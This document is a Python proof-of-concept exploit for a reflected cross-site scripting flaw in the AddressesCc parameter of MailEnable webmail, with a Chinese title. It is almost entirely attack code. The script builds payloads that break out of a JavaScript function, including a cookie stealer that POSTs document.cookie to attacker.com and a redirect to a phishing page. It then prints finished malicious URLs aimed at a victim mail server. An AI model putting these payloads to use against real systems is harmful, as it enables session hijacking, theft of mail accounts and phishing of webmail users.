CVE-2025-34399 MailEnable AddressesCc参数反射型XSS漏洞

import urllib.parse # CVE-2025-34399 PoC - MailEnable Reflected XSS in AddressesCc parameter # Target: MailEnable < 10.54 # Path: /Mondo/lang/sys/Forms/AddressBook.aspx def generate_xss_payload(): """ Generate XSS payload for AddressesCc parameter The payload terminates the existing LoadCurAddresses() function, executes attacker-controlled script, and comments out remaining code """ # Basic XSS payload - executes alert with cookie basic_payload = "';alert(document.cookie);//" # More sophisticated payload - steals data and sends to attacker steal_payload = "';(function(){var x=new XMLHttpRequest();x.open('POST','https://attacker.com/steal',true);x.send(document.cookie);})();//" # Payload for phishing redirect redirect_payload = "';window.location='https://attacker.com/phishing';//" return basic_payload, steal_payload, redirect_payload def build_poc_url(target_url, payload): """ Build the PoC URL with XSS payload in AddressesCc parameter Args: target_url: Base URL of MailEnable server (e.g., https://mail.example.com) payload: XSS payload to inject Returns: Full malicious URL """ encoded_payload = urllib.parse.quote(payload) poc_url = f"{target_url}/Mondo/lang/sys/Forms/AddressBook.aspx?AddressesCc={encoded_payload}" return poc_url # Example usage if __name__ == "__main__": target = "https://mail.victim.com" basic, steal, redirect = generate_xss_payload() print("=== CVE-2025-34399 PoC ===") print(f"Target: {target}") print(f"Vulnerable Path: /Mondo/lang/sys/Forms/AddressBook.aspx") print(f"Vulnerable Parameter: AddressesCc") print() print("PoC URLs:") print(f"1. Basic XSS (alert): {build_poc_url(target, basic)}") print(f"2. Cookie Stealer: {build_poc_url(target, steal)}") print(f"3. Phishing Redirect: {build_poc_url(target, redirect)}")